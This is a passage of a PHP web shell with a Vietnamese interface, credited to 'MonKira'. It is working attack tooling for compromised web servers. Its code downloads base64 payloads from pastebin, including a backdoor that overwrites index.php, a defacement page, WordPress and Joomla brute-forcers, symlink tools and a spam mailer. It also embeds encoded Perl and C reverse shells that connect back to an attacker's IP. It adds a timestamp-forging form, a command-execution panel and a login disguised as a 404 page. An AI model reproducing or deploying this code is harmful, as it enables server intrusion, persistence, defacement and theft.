1577 $pythonp = file_get_contents('http://pastebin.com/raw.php?i=1rAwssr2');
1578 $file = fopen("MonKira.sa", "w+");
1579 $write = fwrite($file, base64_decode($pythonp));
1580 fclose($file);
1581 chmod("MonKira.sa", 0755);
1582 echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open File:</font> <font size='4'><a href='MonKira/MonKira.sa' target='_blank' style='color:red'>MonKira.sa</a></font></b></center><center><font color='aqua' size='4'>Password:</font> <font size='4'><a style='color:red'>monkiradg</a></font>";
1583} elseif ($action == 'cin') {
1584 mkdir('MonKira', 0755);
1585 chdir('MonKira');
1586 $pythonp = file_get_contents('http://pastebin.com/raw.php?i=dxLK815x');
1587 $file = fopen("MonKira.cin", "w+");
1588 $write = fwrite($file, base64_decode($pythonp));
1589 fclose($file);
1590 chmod("MonKira.cin", 0755);
1591 echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open File:</font> <font size='4'><a href='MonKira/MonKira.cin' target='_blank' style='color:red'>MonKira.cin</a></font></b></center><center><font color='aqua' size='4'>Password:</font> <font size='4'><a style='color:red'>monkiradg</a></font>";
1592} elseif ($action == 'izo') {
1593 mkdir('MonKira', 0755);
1594 chdir('MonKira');
1595 $pythonp = file_get_contents('http://pastebin.com/raw.php?i=B4F9XxFF');
1596 $file = fopen("MonKira.izo", "w+");
1597 $write = fwrite($file, base64_decode($pythonp));
1598 fclose($file);
1599 chmod("MonKira.izo", 0755);
1600 echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open File:</font> <font size='4'><a href='MonKira/MonKira.izo' target='_blank' style='color:red'>MonKira.izo</a></font></b></center><center><font color='aqua' size='4'>Password:</font> <font size='4'><a style='color:red'>monkiradg</a></font>";
1601} elseif ($action == 'shtml') {
1602 mkdir('MonKira', 0755);
1603 chdir('MonKira');
1604 $kokdosya = ".htaccess";
1605 $dosya_adi = "$kokdosya";
1606 $dosya = fopen($dosya_adi, 'w') or die("Can not open file!");
1607 $metin = "AddType text/html .shtml
1608AddHandler server-parsed .shtml
1609Options +Includes";
1610 fwrite($dosya, $metin);
1611 fclose($dosya);
1612 $pythonp = file_get_contents('http://pastebin.com/raw.php?i=vi3NsujB');
1613 $file = fopen("MonKira.shtml", "w+");
1614 $write = fwrite($file, base64_decode($pythonp));
1615 fclose($file);
1616 chmod("MonKira.shtml", 0755);
1617 echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open File:</font> <font size='4'><a href='MonKira/MonKira.shtml' target='_blank' style='color:red'>MonKira.shtml</a></font></b></center><center><font color='aqua' size='4'>Password:</font> <font size='4'><a style='color:red'>monkiradg</a></font>";
1618} elseif ($action == 'backconnect') {
1619 !$yourip && $yourip = $_SERVER['REMOTE_ADDR'];
1620 !$yourport && $yourport = '7777';
1621 $usedb = array(
1622 'perl' => 'perl',
1623 'c' => 'c'
1624 );
1625 $back_connect = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj" . "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR" . "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT" . "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI" . "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi" . "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl" . "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
1626 $back_connect_c = "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC" . "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb" . "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd" . "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ" . "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC" . "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D" . "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp" . "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
1627 if ($start && $yourip && $yourport && $use) {
1628 if ($use == 'perl') {
1629 cf('/tmp/angel_bc', $back_connect);
1630 $res = execute(which('perl') . " /tmp/angel_bc $yourip $yourport &");
1631 } else {
1632 cf('/tmp/angel_bc.c', $back_connect_c);
1633 $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
1634 @unlink('/tmp/angel_bc.c');
1635 $res = execute("/tmp/angel_bc $yourip $yourport &");
1636 }
1637 m("Now script try connect to $yourip port $yourport ...");
1638 }
1639 formhead(array(
1640 'title' => '<h2>Lệnh Back Connect: nc -vv -l -p 7777 �<a style="color:aqua;" href="http://www.mediafire.com/download/oz2605n328gnkru" target="_blank" title="Tải Netcat tại đây">Tải NetCat�</a></h2>'
1641 ));
1642 makehide('action', 'backconnect');
1643 p('
1644');
1645 p('IP:');
1646 makeinput(array(
1647 'name' => 'yourip',
1648 'size' => 20,
1649 'value' => $yourip
1650 ));
1651 p('Cổng:');
1652 makeinput(array(
1653 'name' => 'yourport',
1654 'size' => 15,
1655 'value' => $yourport
1656 ));
1657 p('Use:');
1658 makeselect(array(
1659 'name' => 'use',
1660 'option' => $usedb,
1661 'selected' => $use
1662 ));
1663 makeinput(array(
1664 'name' => 'start',
1665 'value' => 'MonKira',
1666 'type' => 'submit',
1667 'class' => 'bt'
1668 ));
1669 p('');
1670 formfoot();
1671}
1672elseif ($action == 'symtool') {
1673 mkdir('SymTools', 0755);
1674 chdir('SymTools');
1675 $file = fopen($dir . "symtool.php", "w+");
1676 $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=xr4p7eam');
1677 $file = fopen("symtool.php", "w+");
1678 $write = fwrite($file, base64_decode($perltoolss));
1679 fclose($file);
1680 echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open File:</font> <font size='4'><a href='SymTools/symtool.php' target='_blank' style='color:red'>symtool.php</a></font></b></center>";
1681}
1682
1683elseif ($action == 'phpini') {
1684 $file = fopen($dir . "php.ini", "w+");
1685 $perltoolss = 'c2FmZV9tb2RlICAgICAgICAgID0gICAgICAgT0ZGCmRpc2FibGVfZnVuY3Rpb25zICAgICAgID0gICAgICAgICAgICBOT05F';
1686 $file = fopen("php.ini", "w+");
1687 $write = fwrite($file, base64_decode($perltoolss));
1688 fclose($file);
1689 echo "<br /><center><b><font color='#33ff33' size='4'>Tạo file php.ini thà nh công</font>";
1690}
1691
1692elseif ($action == 'termi') {
1693 $file = fopen($dir . "DGTerminal.php", "w+");
1694 $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=F3AUVq9q');
1695 $file = fopen("DGTerminal.php", "w+");
1696 $write = fwrite($file, base64_decode($perltoolss));
1697 fclose($file);
1698 echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open File:</font> <font size='4'><a href='DGTerminal.php' target='_blank' style='color:red'>DGTerminal.php</a></font></b></center><br><center><font color='aqua' size='4'>Username:</font> <font size='4'><a style='color:red'>admin</a></font> <br><font color='aqua' size='4'>Password:</font> <font size='4'><a style='color:red'>admin</a></font></b></center>";
1699
1700}
1701elseif ($action == 'weevely') {
1702 $file = fopen($dir . "modules.php", "w+");
1703 $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=iH5hs2EV');
1704 $file = fopen("modules.php", "w+");
1705 $write = fwrite($file, base64_decode($perltoolss));
1706 fclose($file);
1707 echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><b><a href='https://github.com/epinna/weevely3/archive/master.zip' target='_blank'><font color='#ff4e00' size='4'>Download Weevely</font></a><br><br></b><font color='yellow' size='4'>Open File:</font> <font size='4'><a href='modules.php' target='_blank' style='color:red'>modules.php</a></font></b></center><br><center><font color='aqua' size='4'>Password:</font> <font size='4'><a style='color:red'>monkira</a></font></b></center>";
1708
1709}
1710elseif ($action == 'brutewp') {
1711 $file = fopen($dir . "brutewp.php", "w+");
1712 $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=msNKkZQx');
1713 $file = fopen("brutewp.php", "w+");
1714 $write = fwrite($file, base64_decode($perltoolss));
1715 fclose($file);
1716 echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open File:</font> <font size='4'><a href='brutewp.php' target='_blank' style='color:red'>brutewp.php</a></font></b></center>";
1717}
1718elseif ($action == 'bcphp') {
1719 $file = fopen($dir . "backconnect.php", "w+");
1720 $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=Q7mAs9Nf');
1721 $file = fopen("backconnect.php", "w+");
1722 $write = fwrite($file, base64_decode($perltoolss));
1723 fclose($file);
1724 echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open File:</font> <font size='4'><a href='backconnect.php' target='_blank' style='color:red'>backconnect.php</a></font></b></center>";
1725}
1726elseif ($action == 'fakesym') {
1727 $file = fopen($dir . "fakesym.php", "w+");
1728 $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=x99MXWEm');
1729 $file = fopen("fakesym.php", "w+");
1730 $write = fwrite($file, base64_decode($perltoolss));
1731 fclose($file);
1732 echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open File:</font> <font size='4'><a href='fakesym.php' target='_blank' style='color:red'>fakesym.php</a></font></b></center>";
1733}
1734elseif ($action == 'pack') {
1735 $file = fopen($dir . "s-pack.php", "w+");
1736 $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=KnQJY31M');
1737 $file = fopen("s-pack.php", "w+");
1738 $write = fwrite($file, base64_decode($perltoolss));
1739 fclose($file);
1740 echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open File:</font> <font size='4'><a href='s-pack.php' target='_blank' style='color:red'>s-pack.php</a></font></b></center>";
1741}
1742elseif ($action == 'massfd') {
1743 $file = fopen($dir . "massfd.php", "w+");
1744 $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=S0uCaquf');
1745 $file = fopen("massfd.php", "w+");
1746 $write = fwrite($file, base64_decode($perltoolss));
1747 fclose($file);
1748 echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open File:</font> <font size='4'><a href='massfd.php' target='_blank' style='color:red'>massfd.php</a></font></b></center>";
1749}
1750elseif ($action == 'spam') {
1751 $file = fopen($dir . "fakemail.php", "w+");
1752 $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=LjRcNVUa');
1753 $file = fopen("fakemail.php", "w+");
1754 $write = fwrite($file, base64_decode($perltoolss));
1755 fclose($file);
1756 echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open File:</font> <font size='4'><a href='fakemail.php' target='_blank' style='color:red'>fakemail.php</a></font></b></center>";
1757}
1758elseif ($action == 'priv8') {
1759 $file = fopen($dir . "python.php", "w+");
1760 $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=hfmB2ccM');
1761 $file = fopen("python.php", "w+");
1762 $write = fwrite($file, base64_decode($perltoolss));
1763 fclose($file);
1764 echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open File:</font> <font size='4'><a href='python.php' target='_blank' style='color:red'>python.php</a></font></b></center>";
1765}
1766elseif ($action == 'zipcode') {
1767 $file = fopen($dir . "zip.php", "w+");
1768 $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=mv4KY8ez');
1769 $file = fopen("zip.php", "w+");
1770 $write = fwrite($file, base64_decode($perltoolss));
1771 fclose($file);
1772 echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open File:</font> <font size='4'><a href='zip.php' target='_blank' style='color:red'>zip.php</a></font></b></center>";
1773}
1774 elseif ($action == 'scan') {
1775 $file = fopen($dir . "scan.php", "w+");
1776 $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=PiUR3LPb');
1777 $file = fopen("scan.php", "w+");
1778 $write = fwrite($file, base64_decode($perltoolss));
1779 fclose($file);
1780 echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open File:</font> <font size='4'><a href='scan.php' target='_blank' style='color:red'>scan.php</a></font></b></center>";
1781}elseif ($action == 'mass') {
1782 $file = fopen($dir . "mass.php", "w+");
1783 $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=v3aJKadW');
1784 $file = fopen("mass.php", "w+");
1785 $write = fwrite($file, base64_decode($perltoolss));
1786 fclose($file);
1787 echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open File:</font> <font size='4'><a href='mass.php' target='_blank' style='color:red'>mass.php</a></font></b></center>";
1788}
1789 elseif ($action == 'brute') {
1790 $file = fopen($dir . "brute.php", "w+");
1791 $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=06irSaZv');
1792 $file = fopen("brute.php", "w+");
1793 $write = fwrite($file, base64_decode($perltoolss));
1794 fclose($file);
1795 echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open File:</font> <font size='4'><a href='brute.php' target='_blank' style='color:red'>brute.php</a></font></b></center>";
1796}
1797 elseif ($action == 'joomla') {
1798 $file = fopen($dir . "joomlabt.php", "w+");
1799 $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=EXrxGmq3');
1800 $file = fopen("joomlabt.php", "w+");
1801 $write = fwrite($file, base64_decode($perltoolss));
1802 fclose($file);
1803 echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open File:</font> <font size='4'><a href='joomlabt.php' target='_blank' style='color:red'>joomlabt.php</a></font></b></center>";
1804}
1805elseif ($action == 'symljnk') {
1806 $file = fopen($dir . "symljnk.php", "w+");
1807 $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=Q30KY0bz');
1808 $file = fopen("symljnk.php", "w+");
1809 $write = fwrite($file, base64_decode($perltoolss));
1810 fclose($file);
1811 echo "<iframe src=symljnk.php width=100% height=720px frameborder=0></iframe>";
1812}
1813 elseif ($action == 'md5') {
1814 $file = fopen($dir . "md5.php", "w+");
1815 $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=AxsVaupZ');
1816 $file = fopen("md5.php", "w+");
1817 $write = fwrite($file, base64_decode($perltoolss));
1818 fclose($file);
1819 echo "<iframe src=md5.php width=100% height=720px frameborder=0></iframe> ";
1820} elseif ($action == 'reverseip') {
1821
1822 echo "<iframe src=http://www.yougetsignal.com/tools/web-sites-on-web-server/ width=100% height=720px frameborder=0></iframe> ";
1823}
1824elseif ($action == 'df')
1825{
1826 $file = fopen("index.html", "w+");
1827 $data = base64_decode(file_get_contents('http://pastebin.com/raw.php?i=tju85jtK'));
1828 fwrite($file, $data);
1829 fclose($file);
1830 echo '<center>Tải lên index lên thành công !</center>';
1831 }
1832elseif ($action == 'backdoor')
1833{
1834 $file = fopen("index.php", "w+");
1835 $data = base64_decode(file_get_contents('http://pastebin.com/raw.php?i=GuK2mE5E'));
1836 fwrite($file, $data);
1837 fclose($file);
1838 echo '<center>Gắn BackDoor thành công!!</center></br>';
1839 echo '<a href="index.php?MonKira=dir -lia" target="_blank"><center><font color=#E0FFFF>Mở BackDoor Command</font></a></br></center>';
1840 echo '<a href="index.php?login=" target="_blank"><center><font color=#52F3FF>Mở BackDoor UpLoad</font></center></a>';
1841
1842}
1843elseif ($action == 'find')
1844{
1845 $file = fopen("findadmin.php", "w+");
1846 $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=Wmib0LHd');
1847 $write = fwrite($file, base64_decode($perltoolss));
1848 fclose($file);
1849 echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open File:</font> <font size='4'><a href='findadmin.php' target='_blank' style='color:red'>findadmin.php</a></font></b></center>";
1850}
1851elseif ($action == 'huongdan')
1852{
1853 echo "<iframe src=http://pastebin.com/raw.php?i=v6gwEzug width=100% height=720px frameborder=0 style=\"background-color: white;\"></iframe> ";
1854}
1855elseif ($action == 'exlocal')
1856{
1857 echo "<iframe src=http://pastebin.com/raw.php?i=PSSwEiY2 width=100% height=720px frameborder=0 style=\"background-color: white;\"></iframe> ";
1858}
1859elseif ($action == 'editfile') {
1860 if (file_exists($opfile)) {
1861 $fp = @fopen($opfile, 'r');
1862 $contents = @fread($fp, filesize($opfile));
1863 @fclose($fp);
1864 $contents = htmlspecialchars($contents);
1865 }
1866 formhead(array(
1867 'title' => 'Tạo mới và chỉnh sửa file'
1868 ));
1869 makehide('action', 'file');
1870 makehide('dir', $nowpath);
1871 makeinput(array(
1872 'title' => 'Path file (ghi đầy đủ path khi tạo mới file)',
1873 'name' => 'editfilename',
1874 'value' => $opfile,
1875 'newline' => 1
1876 ));
1877 maketext(array(
1878 'title' => 'Code file',
1879 'name' => 'filecontent',
1880 'value' => $contents
1881 ));
1882 formfooter();
1883} elseif ($action == 'newtime') {
1884 $opfilemtime = @filemtime($opfile);
1885 $cachemonth = array(
1886 'January' => 1,
1887 'February' => 2,
1888 'March' => 3,
1889 'April' => 4,
1890 'May' => 5,
1891 'June' => 6,
1892 'July' => 7,
1893 'August' => 8,
1894 'September' => 9,
1895 'October' => 10,
1896 'November' => 11,
1897 'December' => 12
1898 );
1899 formhead(array(
1900 'title' => 'Clone file was last modified time'
1901 ));
1902 makehide('action', 'file');
1903 makehide('dir', $nowpath);
1904 makeinput(array(
1905 'title' => 'Alter file',
1906 'name' => 'curfile',
1907 'value' => $opfile,
1908 'size' => 120,
1909 'newline' => 1
1910 ));
1911 makeinput(array(
1912 'title' => 'Reference file (fullpath)',
1913 'name' => 'tarfile',
1914 'size' => 120,
1915 'newline' => 1
1916 ));
1917 formfooter();
1918 formhead(array(
1919 'title' => 'Set last modified'
1920 ));
1921 makehide('action', 'file');
1922 makehide('dir', $nowpath);
1923 makeinput(array(
1924 'title' => 'Path file hiện tại:',
1925 'name' => 'curfile',
1926 'value' => $opfile,
1927 'size' => 120,
1928 'newline' => 1
1929 ));
1930 p('<p>Instead »');
1931 p('year:');
1932 makeinput(array(
1933 'name' => 'year',
1934 'value' => date('Y', $opfilemtime),
1935 'size' => 4
1936 ));
1937 p('month:');
1938 makeinput(array(
1939 'name' => 'month',
1940 'value' => date('m', $opfilemtime),
1941 'size' => 2
1942 ));
1943 p('day:');
1944 makeinput(array(
1945 'name' => 'day',
1946 'value' => date('d', $opfilemtime),
1947 'size' => 2
1948 ));
1949 p('hour:');
1950 makeinput(array(
1951 'name' => 'hour',
1952 'value' => date('H', $opfilemtime),
1953 'size' => 2
1954 ));
1955 p('minute:');
1956 makeinput(array(
1957 'name' => 'minute',
1958 'value' => date('i', $opfilemtime),
1959 'size' => 2
1960 ));
1961 p('second:');
1962 makeinput(array(
1963 'name' => 'second',
1964 'value' => date('s', $opfilemtime),
1965 'size' => 2
1966 ));
1967 p('</p>');
1968 formfooter();
1969} elseif ($action == 'symroot') {
1970 $file = fopen($dir . "symroot.php", "w+");
1971 $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=cJZV55s1');
1972 $file = fopen("symroot.php", "w+");
1973 $write = fwrite($file, base64_decode($perltoolss));
1974 fclose($file);
1975 echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open File:</font> <font size='4'><a href='symroot.php' target='_blank' style='color:red'>symroot.php</a></font></b></center>";
1976}
1977if ($action == 'shell') {
1978 if (IS_WIN && IS_COM) {
1979 if ($program && $parameter) {
1980 $shell = new COM('Shell.Application');
1981 $a = $shell->ShellExecute($program, $parameter);
1982 m('Program run has ' . (!$a ? 'success' : 'fail'));
1983 }
1984 !$program && $program = 'c:\indows\ystem32\md.exe';
1985 !$parameter && $parameter = '/c net start > ' . SA_ROOT . 'log.txt';
1986 formhead(array(
1987 'title' => 'Execute Program'
1988 ));
1989 makehide('action', 'shell');
1990 makeinput(array(
1991 'title' => 'Program',
1992 'name' => 'program',
1993 'value' => $program,
1994 'newline' => 1
1995 ));
1996 p('<p>');
1997 makeinput(array(
1998 'title' => 'Parameter',
1999 'name' => 'parameter',
2000 'value' => $parameter
2001 ));
2002 makeinput(array(
2003 'name' => 'submit',
2004 'class' => 'bt',
2005 'type' => 'submit',
2006 'value' => 'Execute'
2007 ));
2008 p('</p>');
2009 formfoot();
2010 }
2011 formhead(array(
2012 'title' => 'Execute Command'
2013 ));
2014 makehide('action', 'shell');
2015 if (IS_WIN && IS_COM) {
2016 $execfuncdb = array(
2017 'phpfunc' => 'phpfunc',
2018 'wscript' => 'wscript',
2019 'proc_open' => 'proc_open'
2020 );
2021 makeselect(array(
2022 'title' => 'Use:',
2023 'name' => 'execfunc',
2024 'option' => $execfuncdb,
2025 'selected' => $execfunc,
2026 'newline' => 1
2027 ));
2028 }
2029 p('<p>');
2030 makeinput(array(
2031 'title' => 'Command',
2032 'name' => 'command',
2033 'value' => $command
2034 ));
2035 makeinput(array(
2036 'name' => 'submit',
2037 'class' => 'bt',
2038 'type' => 'submit',
2039 'value' => 'Execute'
2040 ));
2041 p('</p>');
2042 formfoot();
2043 if ($command) {
2044 p('<hr width="100%" noshade /><pre>');
2045 if ($execfunc == 'wscript' && IS_WIN && IS_COM) {
2046 $wsh = new COM('WScript.shell');
2047 $exec = $wsh->exec('cmd.exe /c ' . $command);
2048 $stdout = $exec->StdOut();
2049 $stroutput = $stdout->ReadAll();
2050 echo $stroutput;
2051 } elseif ($execfunc == 'proc_open' && IS_WIN && IS_COM) {
2052 $descriptorspec = array(
2053 0 => array(
2054 'pipe',
2055 'r'
2056 ),
2057 1 => array(
2058 'pipe',
2059 'w'
2060 ),
2061 2 => array(
2062 'pipe',
2063 'w'
2064 )
2065 );
2066 $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
2067 if (is_resource($process)) {
2068 fwrite($pipes[0], $command . "
2069");
2070 fwrite($pipes[0], "exit
2071");
2072 fclose($pipes[0]);
2073 while (!feof($pipes[1])) {
2074 echo fgets($pipes[1], 1024);
2075 }
2076 fclose($pipes[1]);
2077 while (!feof($pipes[2])) {
2078 echo fgets($pipes[2], 1024);
2079 }
2080 fclose($pipes[2]);
2081 proc_close($process);
2082 }
2083 } else {
2084 echo (execute($command));
2085 }
2086 p('</pre>');
2087 }
2088}
2089?></td></tr></table>
2090<div style="padding:10px;border-bottom:1px solid #0E0E0E;border-top:1px solid #0E0E0E;background:#0E0E0E;">
2091 <span style="float:right;"><?php
2092debuginfo();
2093ob_end_flush();
2094?></span>
2095 Copyright @ 2015 By: <a href=http://facebook.com/monkira.hs target=_blank><B>.:: MonKira ::. </B></a>
2096</div>
2097</body>
2098</html>
2099<?php
2100function m($msg)
2101{
2102 echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';
2103 echo $msg;
2104 echo '</div>';
2105}
2106function scookie($key, $value, $life = 0, $prefix = 1)
2107{
2108 global $admin, $timestamp, $_SERVER;
2109 $key = ($prefix ? $admin['cookiepre'] : '') . $key;
2110 $life = $life ? $life : $admin['cookielife'];
2111 $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
2112 setcookie($key, $value, $timestamp + $life, $admin['cookiepath'], $admin['cookiedomain'], $useport);
2113}
2114function multi($num, $perpage, $curpage, $tablename)
2115{
2116 $multipage = '';
2117 if ($num > $perpage) {
2118 $page = 10;
2119 $offset = 5;
2120 $pages = @ceil($num / $perpage);
2121 if ($page > $pages) {
2122 $from = 1;
2123 $to = $pages;
2124 } else {
2125 $from = $curpage - $offset;
2126 $to = $curpage + $page - $offset - 1;
2127 if ($from < 1) {
2128 $to = $curpage + 1 - $from;
2129 $from = 1;
2130 if (($to - $from) < $page && ($to - $from) < $pages) {
2131 $to = $page;
2132 }
2133 } elseif ($to > $pages) {
2134 $from = $curpage - $pages + $to;
2135 $to = $pages;
2136 if (($to - $from) < $page && ($to - $from) < $pages) {
2137 $from = $pages - $page + 1;
2138 }
2139 }
2140 }
2141 $multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\'' . $tablename . '\', \'\', 1);">First</a> ' : '') . ($curpage > 1 ? '<a href="javascript:settable(\'' . $tablename . '\', \'\', ' . ($curpage - 1) . ');">Prev</a> ' : '');
2142 for ($i = $from; $i <= $to; $i++) {
2143 $multipage .= $i == $curpage ? $i . ' ' : '<a href="javascript:settable(\'' . $tablename . '\', \'\', ' . $i . ');">[' . $i . ']</a> ';
2144 }
2145 $multipage .= ($curpage < $pages ? '<a href="javascript:settable(\'' . $tablename . '\', \'\', ' . ($curpage + 1) . ');">Next</a>' : '') . ($to < $pages ? ' <a href="javascript:settable(\'' . $tablename . '\', \'\', ' . $pages . ');">Last</a>' : '');
2146 $multipage = $multipage ? '<p>Pages: ' . $multipage . '</p>' : '';
2147 }
2148 return $multipage;
2149}
2150function loginpage()
2151{
2152?>
2153<?php $MonKira = file_get_contents ('http://pastebin.com/raw/pSEZcS6w');
2154$MonKira1 = "<title>404 Not Found</title><style type='text/css'>
2155A:link {text-decoration: none; color: green }
2156A:visited {text-decoration: none;color:red}
2157A:active {text-decoration: none}
2158A:hover {text-decoration: underline; color: green;}
2159input, textarea, button
2160{
2161 font-size: 11pt;
2162 color: white;
2163 font-family: verdana, sans-serif;
2164 background-color: white;
2165 border-left: 2px dashed white;
2166 border-top: 2px dashed white;
2167 border-right: 2px dashed white;
2168 border-bottom: 2px dashed white;
2169}
2170
2171</style></head><body><h1>Not Found</h1>
2172<p>The requested URL was not found on this server.</p>
2173<hr>";
2174$host = $_SERVER['HTTP_HOST'];
2175if($_GET['login']=='MonKira')
2176{
2177echo $MonKira;
2178}
2179else{
2180 echo $MonKira1;
2181 echo '<address>Apache/2.2.27 (CentOS) Server at '.$host.' Port 80</address>';
2182}
2183?>
2184<?php
2185//setup php for working with Unicode data
2186mb_internal_encoding('UTF-8');
2187mb_http_output('UTF-8');
2188mb_http_input('UTF-8');
2189mb_language('uni');
2190mb_regex_encoding('UTF-8');
2191ob_start('mb_output_handler');
2192 exit;
2193}
2194function execute($cfe)
2195{
2196 $res = '';
2197 if ($cfe) {
2198 if (function_exists('exec')) {
2199 @exec($cfe, $res);
2200 $res = join("
2201", $res);
2202 } elseif (function_exists('shell_exec')) {
2203 $res = @shell_exec($cfe);
2204 } elseif (function_exists('system')) {
2205 @ob_start();
2206 @system($cfe);
2207 $res = @ob_get_contents();
2208 @ob_end_clean();
2209 } elseif (function_exists('passthru')) {
2210 @ob_start();
2211 @passthru($cfe);
2212 $res = @ob_get_contents();
2213 @ob_end_clean();
2214 } elseif (@is_resource($f = @popen($cfe, "r"))) {
2215 $res = '';
2216 while (!@feof($f)) {
2217 $res .= @fread($f, 1024);
2218 }
2219 @pclose($f);
2220 }
2221 }
2222 return $res;
2223}
2224function which($pr)
2225{
2226 $path = execute("which $pr");
2227 return ($path ? $path : $pr);
2228}
2229function cf($fname, $text)
2230{
2231 if ($fp = @fopen($fname, 'w')) {
2232 @fputs($fp, @base64_decode($text));
2233 @fclose($fp);
2234 }
2235}
2236function debuginfo()
2237{
2238 global $starttime;
2239 $mtime = explode(' ', microtime());
2240 $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
2241 echo ' Xử lí trong ' . $totaltime . ' giây(s)';
2242}
